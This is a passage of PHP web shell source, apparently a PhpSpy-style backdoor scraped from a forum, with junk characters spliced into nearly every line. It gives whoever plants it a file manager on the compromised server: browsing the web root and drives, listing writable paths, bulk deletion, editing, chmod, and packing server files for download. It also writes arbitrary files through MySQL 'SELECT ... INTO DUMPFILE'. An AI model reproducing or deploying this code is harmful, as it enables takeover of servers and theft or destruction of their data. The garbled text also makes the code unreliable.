    1 ~( d  j% N) a. x: p4 t- L  O

  330. 0 T8 L$ {/ H' ^: v2 Q
  331.         // 打包下载' v3 t0 o9 ~; v9 F9 _
  332.         elseif($doing == 'downrar') {- y9 I* E6 |* e& g' V; J* d: k+ l* i9 l
  333.                 if ($dl) {
    , A  H, A7 u+ g3 c- S: B9 X
  334.                         $dfiles='';% L7 j) P' F+ [
  335.                         foreach ($dl as $filepath => $value) {# l! a+ v2 d5 A  I# l& j6 o
  336.                                 $dfiles.=$filepath.',';
    4 k) B7 V' x) B1 E  s! t
  337.                         }! V9 Y' E6 n8 d  ~
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    8 `: G+ W& ]7 p- M
  339.                         $dl=explode(',',$dfiles);
    : G4 l$ q4 u3 e. [
  340.                         $zip=new PHPZip($dl);% g' `  G+ Y3 @2 I7 T/ S1 ^# C
  341.                         $code=$zip->out;/ |$ s6 w! Q; A; W5 j  b& Q
  342.                         header('Content-type: application/octet-stream');
    ' V+ k2 l! [" j0 h* c- h( x- J# D
  343.                         header('Accept-Ranges: bytes');
    4 j3 g; Y9 O- v) C
  344.                         header('Accept-Length: '.strlen($code));
    " Q" z) D1 j( Q* }; b5 L
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
    % B* {$ ^; W8 T# ~2 u' q
  346.                         echo $code;" K% b( L% }" E& J% C& k
  347.                         exit;
    5 N) w, E+ g  c# P+ V
  348.                 } else {
    6 y5 Q* A1 X0 }
  349.                         m('Please select file(s)');
    , h. a7 C3 q# g3 v
  350.                 }
    / l/ n, s% \4 G) x" P# _
  351.         }' k* P6 a# T& w/ ?1 i

  352. ; \+ R. U! m. v# z8 l* y
  353.         // 批量删除文件# k! j2 C/ b, q; {
  354.         elseif($doing == 'delfiles') {* k3 w$ D$ O1 q, l' w; @
  355.                 if ($dl) {" y+ L  U5 N: y' L. `- r. @. p
  356.                         $dfiles='';
    : \& D: F- o. }3 k/ y' u- t4 g% b
  357.                         $succ = $fail = 0;
    3 s" f2 I) X* W
  358.                         foreach ($dl as $filepath => $value) {9 m  o6 U9 @0 I& o; t  D; S5 a. b0 J
  359.                                 if (@unlink($filepath)) {
    % {* @- M+ J% @, K  Z% Y/ h1 _
  360.                                         $succ++;
    5 O/ a( Q8 e! q2 z' h
  361.                                 } else {1 N: Q/ u4 F2 I6 D0 k& k+ g
  362.                                         $fail++;) R* I. i- k! m7 h' v
  363.                                 }. {: ?  t# l# \3 W" c" A- C
  364.                         }9 O# s* u( y" w( i. h: {6 r
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);
      w5 c! s3 M  t$ {; u1 i
  366.                 } else {
    8 Q6 }+ B1 Y' }: I' ~! |
  367.                         m('Please select file(s)');
    $ l. o. z! C: X
  368.                 }
    . v+ z! o0 A+ X& n! h& I8 m1 o" Z9 E
  369.         }
    # C1 C/ I; s- d+ `) s
  370. ( v+ o; `5 P$ {3 k4 G8 c
  371.         //操作完毕
    ( X. T" V  L" h. s3 X( R& g
  372.         formhead(array('name'=>'createdir'));
    ) E- U" ?" x# F5 x! ~. J
  373.         makehide('newdirname');
    ) C# R) r7 N! l2 ~, }) O+ p
  374.         makehide('dir',$nowpath);
    : K$ Z( H6 o% H" V' ?5 m9 L
  375.         formfoot();/ s; @' Y+ D: ]$ N/ G3 i/ n
  376.         formhead(array('name'=>'fileperm'));
    2 _3 a5 `4 z( f1 b5 E+ D4 j
  377.         makehide('newperm');3 A$ v1 Y' r: \/ B% }5 g4 k
  378.         makehide('pfile');
    - }$ R5 L. w* b4 W$ G8 {
  379.         makehide('dir',$nowpath);: b. J, S  R4 n+ U# ~7 ?
  380.         formfoot();
    : p7 x& f# n4 R6 `+ @
  381.         formhead(array('name'=>'copyfile'));; w8 v0 e1 i+ P; @0 _: n
  382.         makehide('sname');1 y# B! f+ \2 R7 c: p
  383.         makehide('tofile');
    - r5 C+ ~& c* n: K7 z# J; [
  384.         makehide('dir',$nowpath);
    " y- h: N: t5 {9 [, A1 i, v& `  h
  385.         formfoot();
    # n! L% `: R) z7 D1 \3 w/ t4 D
  386.         formhead(array('name'=>'rename'));
    5 r. P& c8 U& W; X% P2 L& A
  387.         makehide('oldname');
    4 H9 [4 M  L- b( O
  388.         makehide('newfilename');
    . E  i2 L* d+ y; a' \4 i
  389.         makehide('dir',$nowpath);  j2 R! Y2 U4 Y  a( i( L) m
  390.         formfoot();% f- k+ v, X9 _
  391.         formhead(array('name'=>'fileopform'));
    / ]* i6 x( u: D. O) E
  392.         makehide('action');
    . j/ _3 [3 t, c0 O  b
  393.         makehide('opfile');# e! \2 D: `7 i, C! t8 h/ f
  394.         makehide('dir');2 O% r+ L% U8 t' p& ^! b, ]( U
  395.         formfoot();
    6 _7 X4 ~6 b$ {

  396. 2 x+ n( F: u3 D/ ~# X
  397.         $free = @disk_free_space($nowpath);9 b! T0 S& E6 g$ P& l0 N
  398.         !$free && $free = 0;
    7 S2 @+ u2 q9 T+ W( s- i
  399.         $all = @disk_total_space($nowpath);
    " M2 M& N. A( ~! p" |- x$ B
  400.         !$all && $all = 0;% g' s4 O: S6 j! W
  401.         $used = $all-$free;4 T6 a' y  x) L$ G/ ]
  402.         $used_percent = @round(100/($all/$free),2);
    ; l% b, w! b* ]( `) r2 r
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');9 c; }+ n  r0 }/ O$ ?  v

  404. ) s0 j: s% h6 }1 ]
  405. ?>
    ' @: I/ c/ q5 l2 y" ^! R
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    & d8 {3 A% F, `8 c3 J: f
  407.   <form action="" method="post" id="godir" name="godir">
    - G3 g; ]4 j' ?$ N
  408.   <tr>) U7 a$ E4 A' m3 I$ W
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    : u& B) ^# o4 v0 u/ M
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>3 ~* W% ~: F5 E
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>3 g& m2 a- m, o0 K% @
  412.   </tr>
    8 @0 s+ _) f. }+ n+ }: e% k3 {; f
  413.   </form>* M) \# e+ Q. r( a8 h
  414. </table>9 }( w- |$ g7 U: X' f
  415. <script type="text/javascript">& r* Z2 ~. W$ P6 w) S/ \
  416. function createdir(){% N" p" B( V" B! n6 o6 j
  417.         var newdirname;
    5 E* Z  i! ]+ K/ x
  418.         newdirname = prompt('Please input the directory name:', '');
    1 K/ C# C4 Q7 G
  419.         if (!newdirname) return;
    / V7 f* |7 O- o! n( f
  420.         $('createdir').newdirname.value=newdirname;, i8 O5 _6 K& C3 [
  421.         $('createdir').submit();
    $ b' v6 g$ ~$ f. m' K. ]2 ?2 O* D
  422. }
      X: |2 z5 e" u! ^/ d
  423. function fileperm(pfile){
    # Q" t1 u! b9 L& h6 J" B
  424.         var newperm;
    ' ?$ c- j/ o& l  p
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');4 ]# z% ]$ D- p, s0 [
  426.         if (!newperm) return;" m4 Z  A  m  N5 H' h$ u* G' V; H
  427.         $('fileperm').newperm.value=newperm;; z/ N( A5 S' v
  428.         $('fileperm').pfile.value=pfile;- x) j! Y8 [; B* f" ?
  429.         $('fileperm').submit();5 d* |' a: b; s+ T$ Y& f
  430. }3 c# k  D6 B3 s; I9 V
  431. function copyfile(sname){
    . \1 x' N; G6 T; w6 S
  432.         var tofile;* `( s! [! V' O2 D, T* X# E
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');( G6 f' E0 h& v7 R1 d0 R
  434.         if (!tofile) return;
    ' e! N# r7 t' z2 Q3 g% Q1 r
  435.         $('copyfile').tofile.value=tofile;9 w6 q5 @5 G( J5 x! H$ ^
  436.         $('copyfile').sname.value=sname;
    " j* b. A+ P7 o# y; l3 z( M
  437.         $('copyfile').submit();
    . h8 @' b1 Z" A5 V7 v. v; Z& X
  438. }& N. E0 @6 S# O# b" C& d$ r$ _
  439. function rename(oldname){/ P: v7 J; h% C$ \# ~! C, @
  440.         var newfilename;
    5 T, F. u. z9 `2 `% P
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    5 f6 m" ]0 @6 j; k" G
  442.         if (!newfilename) return;
    ) B( z# ]$ ?1 {6 d
  443.         $('rename').newfilename.value=newfilename;9 ]/ [& h3 u9 B. \$ u' H
  444.         $('rename').oldname.value=oldname;
    ' w8 W& q" h/ ]2 a
  445.         $('rename').submit();
    + j' ]; ^" S2 V( r4 j4 _
  446. }
    , j6 p0 N5 H( ^" j9 t5 D4 t
  447. function dofile(doing,thefile,m){
    - x. [( R( c8 X0 e' o* S' u3 \
  448.         if (m && !confirm(m)) {
    & ~, L- y% g, x( P& i4 q
  449.                 return;2 F' ?! v% N" Z0 D4 O
  450.         }
    . E) r5 L$ M( c6 q/ X9 ~9 [
  451.         $('filelist').doing.value=doing;
    - q% s8 O% ]6 Q& S4 ~( }! K
  452.         if (thefile){1 \2 Q; |$ R( m
  453.                 $('filelist').thefile.value=thefile;
    1 S2 C1 C' V6 t& K; x4 m+ p% K
  454.         }
    - t' B# u/ q7 P4 r  M) E/ V& Q/ e  L
  455.         $('filelist').submit();9 h$ V! ?9 @/ e; G7 T1 H0 u
  456. }
    ) z6 f  b  k7 ~1 R. H" i! r
  457. function createfile(nowpath){
    " ?7 o3 k) L; G3 Z5 p" A
  458.         var filename;7 c5 ^0 N" x. I
  459.         filename = prompt('Please input the file name:', '');
    ! c: r! ?" }. m4 v/ [5 R
  460.         if (!filename) return;3 D4 m" \  h7 P5 a$ W
  461.         opfile('editfile',nowpath + filename,nowpath);, S4 ~, a- b# s
  462. }
    1 f- \5 i5 P3 Q4 d% Y4 D
  463. function opfile(action,opfile,dir){
    # H+ \: _- H, l
  464.         $('fileopform').action.value=action;
    ! Q: x( X& Y. Y) p: e$ H+ b% S
  465.         $('fileopform').opfile.value=opfile;8 ?# }; E: c% b! C  {  \
  466.         $('fileopform').dir.value=dir;
    # F: H- X9 g9 g7 j+ U( v
  467.         $('fileopform').submit();1 n+ l; h& Q5 ^3 I
  468. }+ F/ ~9 _5 S( G8 _# N6 }
  469. function godir(dir,view_writable){5 a) {4 ~" }0 I$ h/ X
  470.         if (view_writable) {
    4 o- L9 E7 R3 `- f0 w7 q( d
  471.                 $('godir').view_writable.value=1;7 r" h1 w6 g- C' O! q3 O" M( G
  472.         }
    3 P; t  o- D7 |' k7 s! v' A. ?( Y6 S
  473.         $('godir').dir.value=dir;
    7 m! X( s4 H* j
  474.         $('godir').submit();
    4 g8 J2 c! A9 f, k" |8 x
  475. }; b% L: Y6 X5 R3 {( U9 g1 K
  476. </script>
    % W9 K* L& p6 u* m+ G! w; Q0 G
  477.   <?php  y& d( D" q' P
  478.         tbhead();" ~* e5 o  D+ j+ b
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    + ~0 L8 N5 W4 t8 r
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
      |) p- f, S6 y6 _5 h- N1 d/ K' |
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    8 y# S4 S! R1 B% P+ W8 c0 d
  482.         if ($view_writable) {
    " W. f. x' n! }; P5 o/ i
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');! a2 _, n% f6 O0 [' |; v
  484.         } else {
    4 @; L  j$ f7 h* y; {+ ^. \. \8 [, u
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    . ^+ R$ L# k  C0 n/ f/ z
  486.         }
    : Y$ Q% n) M' K; Z+ Q) A7 w  ]8 D
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    4 X5 a( e" E# u% o
  488.         if (IS_WIN && IS_COM) {* C% v( _3 F8 U, L& ^' T2 o
  489.                 $obj = new COM('scripting.filesystemobject');3 Q/ `; Y: h$ }. S  V3 H
  490.                 if ($obj && is_object($obj)) {, s3 \( V* R, E
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');3 I+ e% M( n: x& \' \9 a* z
  492.                         foreach($obj->Drives as $drive) {
    ' k+ A' C% b. d. A5 }3 z
  493.                                 if ($drive->DriveType == 2) {
      m+ `6 @/ {7 B$ x) |" B; X0 `
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
    ' v) K: M4 b5 B9 n1 x; N
  495. Free:'.sizecount($drive->FreeSpace).'! O# z5 {: ~' ^0 U7 S
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    ! |' I- J- r8 {- A
  497.                                 } else {2 ^9 A4 s+ p+ H4 K; P
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
    ( U3 Q# |4 J, b
  499.                                 }) G( }5 K! x' Z& U+ G1 j
  500.                         }
    3 b( A' s# o( u; F
  501.                 }  n' K7 R* s4 \
  502.         }, ?1 @9 @0 E8 }7 _4 [+ H

  503. $ `# R, d) b7 D( ]8 ]2 L4 r4 e
  504.         p('</td></tr></form>');8 O% H1 p+ X$ V, c# @
  505. " w8 k& L* u! R* {- }
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');2 D6 y" Y" |  N: H5 H

  507. 4 h6 V: V5 T/ ~: p5 ]; {" E' `& N% {' w
  508.         //查看所有可写文件和目录
    & ]& F( M2 v1 W1 M" `: j' _6 Z# M
  509.         $dirdata=array();! q% e" X( Y- x) p
  510.         $filedata=array();
    ( W- w3 x4 A- L" D
  511. 0 r9 u- [0 I8 L, i# O1 J
  512.         if ($view_writable) {! z* c. t/ o1 q
  513.                 $dirdata = GetList($nowpath);- v  d1 j" \/ g1 J9 T4 @- G, R# F
  514.         } else {
    # F3 p' G8 J3 J1 T
  515.                 // 目录列表
    2 A. f' j$ o$ u: C# j$ b& y2 r
  516.                 $dirs=@opendir($dir);, Z3 W6 a3 _6 ~/ w4 L
  517.                 while ($file=@readdir($dirs)) {
    / o7 [6 i. ?& e9 a0 L; i3 |
  518.                         $filepath=$nowpath.$file;* W* g$ j2 q7 C+ e2 `; D5 I
  519.                         if(@is_dir($filepath)){3 P' v# K- [) S3 j) o
  520.                                 $dirdb['filename']=$file;- p, U5 u" N/ z' j5 |3 D
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    8 a  y8 m. Z! ?
  522.                                 $dirdb['dirchmod']=getChmod($filepath);# q0 C7 V: p4 r2 Y
  523.                                 $dirdb['dirperm']=getPerms($filepath);
    - O! m- [+ E+ P( C' B
  524.                                 $dirdb['fileowner']=getUser($filepath);
    , Y+ u: f% B/ O( J$ N3 O' R+ u
  525.                                 $dirdb['dirlink']=$nowpath;
    ! E* J; o# }1 G2 n
  526.                                 $dirdb['server_link']=$filepath;& B4 n; o) ]2 }$ K
  527.                                 $dirdb['client_link']=ue($filepath);
    $ w3 X( `. E; z5 [* i
  528.                                 $dirdata[]=$dirdb;
    / O$ P2 e8 Y. ^: O# m) \' u
  529.                         } else {                $ S% R* o! e- r5 O
  530.                                 $filedb['filename']=$file;( T5 q- s5 W$ W6 N8 R
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    * P. {/ Z/ _- d1 o5 _
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    ) }/ W1 L0 C# q" D( y7 Q5 _
  533.                                 $filedb['filechmod']=getChmod($filepath);. Z7 S6 {9 g2 C, q
  534.                                 $filedb['fileperm']=getPerms($filepath);
    # F; }/ c: X0 Y" n; ]& r' v/ X2 J
  535.                                 $filedb['fileowner']=getUser($filepath);
    9 Y, ~; |; d: h0 J! u5 I$ W1 O9 o
  536.                                 $filedb['dirlink']=$nowpath;4 _! m" P# L8 ~! f4 J  c8 u
  537.                                 $filedb['server_link']=$filepath;
    3 d* Q0 y- ^, ?4 c) f
  538.                                 $filedb['client_link']=ue($filepath);% G1 z. h7 C, [4 ?
  539.                                 $filedata[]=$filedb;6 \1 v& J8 t$ q
  540.                         }
    ' `% T$ n) [9 P0 v, R0 Y& _2 f  j
  541.                 }// while& B) s9 y* G6 C, A9 P( L
  542.                 unset($dirdb);
    # H& m; i9 o* T& _( l! g
  543.                 unset($filedb);
    7 Y# p& p6 {0 L. T9 T
  544.                 @closedir($dirs);" O- W% }! T7 R, |9 H9 m
  545.         }
    ! d9 I% D4 p6 b8 v$ i# W
  546.         @sort($dirdata);
    ( d3 |  R7 b1 q
  547.         @sort($filedata);
    6 q; i8 L* X0 N
  548.         $dir_i = '0';
    5 p# Z3 c6 J. p. j# K& p# ~
  549.         foreach($dirdata as $key => $dirdb){
    3 s. z( x% U( e9 J9 j# G% @
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    $ c6 r7 q) Q2 Q" j* M" r# I6 F
  551.                         $thisbg = bg();; x/ E4 P, }% \+ H* G- B- m
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
    # ], L( u. ]8 i; ~: u
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');  f0 Z1 O, ^6 a& U' _
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    $ [: d" ^% e7 h# p, C
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');
    ) T- n# M- V' b% n" k. f& `
  556.                         p('<td nowrap>--</td>');0 j5 J; j5 {4 Z& h1 N" M  q
  557.                         p('<td nowrap>');
    " B6 |1 E) K/ r
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
    - @! G# O" H# s
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');. N3 O2 T; f/ B5 C# i0 H
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');1 ?' Q- H- ^0 c$ n2 u% d
  561.                         p('</tr>');
    7 t$ b2 A4 z  g( Y
  562.                         $dir_i++;: ]0 N2 B9 H. v4 A$ S0 c7 t
  563.                 } else {3 [' X  w4 Q  ]- E
  564.                         if($dirdb['filename']=='..') {4 D- u0 Q, Z) N3 U; z) R
  565.                                 p('<tr class='.bg().'>');# D$ O2 A1 p/ |3 ^7 _" _+ p% @2 F
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    4 E  M+ J* P. @
  567.                                 p('</tr>');  R2 n! r2 @& Q3 ]  e* W( H6 y
  568.                         }
    ! S$ a! y1 w. G2 B: ], P
  569.                 }+ h0 w- z+ b5 |- ]  _% g) q
  570.         }
    ; m) [/ a* r! D/ `. z) w
  571. 2 Y" G0 [" S5 s* P0 F. K9 `& u
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    : L  W! h0 c2 I2 w
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    / M  C5 ?; Y2 a  B& i- c, W
  574.         makehide('action','file');& p& v; z: O  I; x
  575.         makehide('thefile');/ |# H  ?$ _$ `3 S. Q9 o7 T8 o
  576.         makehide('doing');$ d, h# L* |/ f  c5 ^$ S
  577.         makehide('dir',$nowpath);
    , w& J: o) P2 o  d
  578.         $file_i = '0';
    , U: f2 g4 w, v1 ?0 a1 \: h
  579.         foreach($filedata as $key => $filedb){
    0 H4 q& j- [4 P! g: G
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    ( i4 b+ u! p1 D6 Y* ?* A
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);+ M+ y4 l, s+ t7 x! }
  582.                         $thisbg = bg();
    2 t! @' D" w  t, `. h
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');0 e7 W  V4 f. ]' d- X4 F  v
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');7 l3 z# l/ a. K5 b
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');" ^0 Y1 _2 k3 ]5 M0 s
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');5 k9 ^1 _) z. k0 S, U
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');
    + s& @" ^7 m# {0 J# U/ N
  588.                         p('<td nowrap>');
    1 }4 y8 F! F5 y2 ~* t
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    . `: l! J5 ^* e0 u+ A) t: M
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
    9 w1 Z8 D# q+ s; O8 t, ^
  591.                         p('<td nowrap>');# M+ N( A# n8 ^/ c3 M
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    % o9 L- y* j+ O2 C7 e3 m- J! Z
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');) T/ {- m- J" g  U! N% v4 S
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
    6 n, h/ k+ [: k: v9 g7 G
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    ; a0 \9 T6 ~7 V2 u  p; Y
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
    % s( Q3 R. n  M3 W, O
  597.                         p('</td></tr>');
    2 A( r8 m" g5 k6 y9 M6 H5 A
  598.                         $file_i++;
    * Z' }  h& b/ y2 y- M
  599.                 }$ W/ F5 ?: ~( \; W: R% P- f: l
  600.         }8 j9 s9 X( ~0 y( s0 O+ T4 q
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');- M9 W. `. R/ @. h, @
  602.         p('</form></table>');  t" {& d" |" b% s" W% ^0 e! y
  603. }// end dir& g6 }/ N) l5 I# h& ]

  604.   l( B& S0 ]2 F7 [3 ]9 k$ _6 B  Y+ i
  605. elseif ($action == 'sqlfile') {
    + s8 T$ F7 \' s
  606.         if($doing=="mysqlupload"){
    % k9 V, P8 F; u0 p- s2 F
  607.                 $file = $_FILES['uploadfile'];$ e: f0 w) o* `
  608.                 $filename = $file['tmp_name'];+ {6 F) |/ Q& s. v
  609.                 if (file_exists($savepath)) {4 O/ I. H  k' q% J* c9 F1 i* r; h
  610.                         m('The goal file has already existed');
    ( l6 r5 s3 @+ L( u  d1 y
  611.                 } else {+ j& `3 I- q  T
  612.                         if(!$filename) {
    ! o/ j5 Q2 z& Q  ?. z  r
  613.                                 m('Please choose a file');; e8 v! Q9 g, z( V" U( s/ j9 L
  614.                         } else {
    ) ~8 c0 R5 a0 q: C2 B, Y5 r# r: [
  615.                                 $fp=@fopen($filename,'r');
      ^1 \3 K" o! C" P, B+ K$ r
  616.                                 $contents=@fread($fp, filesize($filename));
    8 t3 m8 W- |) ^% K% ^
  617.                                 @fclose($fp);" P$ m8 x" l8 K$ M1 X
  618.                                 $contents = bin2hex($contents);
    ' u7 D  d1 l; f, o. L, z% \8 @6 E
  619.                                 if(!$upname) $upname = $file['name'];
    ) P& S* w8 b' |4 N# n
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);& X1 ^* c* J# B; s4 R
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
    " \' ?) w' F. Z- `% r( @% V
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());2 ?1 V7 }$ m/ [
  623.                         }
    ! J0 Q5 M9 t5 J
  624.                 }9 F8 p/ Q2 J; l+ I" ^6 v0 P# q
  625.         }; M2 ^$ Q" I% F1 B, i5 ?
  626. ?>
    / c: |0 h' g/ I/ c7 ]* s
  627. <script type="text/javascript">
    % u- A# p' Z: R' q& L, T/ h, Z# H
  628. function mysqlfile(doing){, ~: x5 L( E+ q! `
  629.         if(!doing) return;
    * I7 x( R- Y/ a( C2 p/ u3 F9 c
  630.         $('doing').value=doing;
    7 \% `5 \+ B1 P# @, z6 M
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    ! i) C* F2 s% y
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;$ f3 i  U7 r+ X* e- j* q6 L% s
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    / ^3 z; ?, o! @  j. D, n
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;4 P% I% T  ], x# [( ]
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    ) f5 n/ C; c0 W' ?
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;5 ]8 y; k0 s' Q/ g( S
  637.         $('mysqlfile').submit();- J0 k3 O6 p6 P1 \
  638. }% C, H7 j2 O, `) i; u
  639. </script>3 N8 m! j7 N+ H! M2 A
  640. <?php
    & T& J2 I# b) I( @) u" q# [7 X
  641.         !$dbhost && $dbhost = 'localhost';
    - k7 n# b; I4 B( j: Q: s! u
  642.         !$dbuser && $dbuser = 'root';1 \1 N! y0 J3 F
  643.         !$dbport && $dbport = '3306';( S8 P# P) W4 d) z& ^9 Z
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    . T+ K# T' ~& m1 x3 i
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    + j5 A0 t, d  F) F2 R6 @
  646.         makehide('action','sqlfile');: ^' Y% _, F" q/ E  X
  647.         p('<p>');( W, z) k7 R& N# @2 K0 |
  648.         p('DBHost:');( [. U! z: p6 ]
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    $ k3 \! [* q) H: Y
  650.         p(':');
    ! R' K. x( o* ?. y0 S  A
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));+ _( G( ~# Q7 Z$ \! _; B/ T( E
  652.         p('DBUser:');2 P: y3 S; w5 e6 n, e
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));, t. K! A8 W6 e8 p2 }8 f* v: F6 o
  654.         p('DBPass:');
    7 L7 f. C2 i. ^5 Y7 p5 d6 x7 V
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));0 R7 Z8 H: C6 k0 x/ U- G
  656.         p('DBName:');
    0 B: N( H: r- m5 b
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    2 s; C7 A1 g$ H& O& M
  658.         p('DBCharset:');# W; }) D. Q$ S4 W" C- h
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    7 ^! A* B3 T4 a: o
  660.         p('</p>');* q* q& Y! C. F, Z% Y
  661.         formfoot();3 {8 a& H$ t3 Z9 m$ i
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    / ^/ Q7 ?( _2 U1 E* A
  663.         p('<h2>Upload file</h2>');; G5 _# Z) f- N0 h8 t
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    ! K4 u( f1 F8 v& D6 W; @  S
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    ' d4 g/ R. ?' X: g& B& E# o
  666.         p('<h2>Download file</h2>');
    9 L  l3 z7 v5 K. G& n& W% O; m5 E
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    6 ?- R, w% N5 W& E6 x& G8 o2 ?
  668.         makehide('dbhost');
    5 k* W. @0 s; b# A: ]! u
  669.         makehide('dbport');
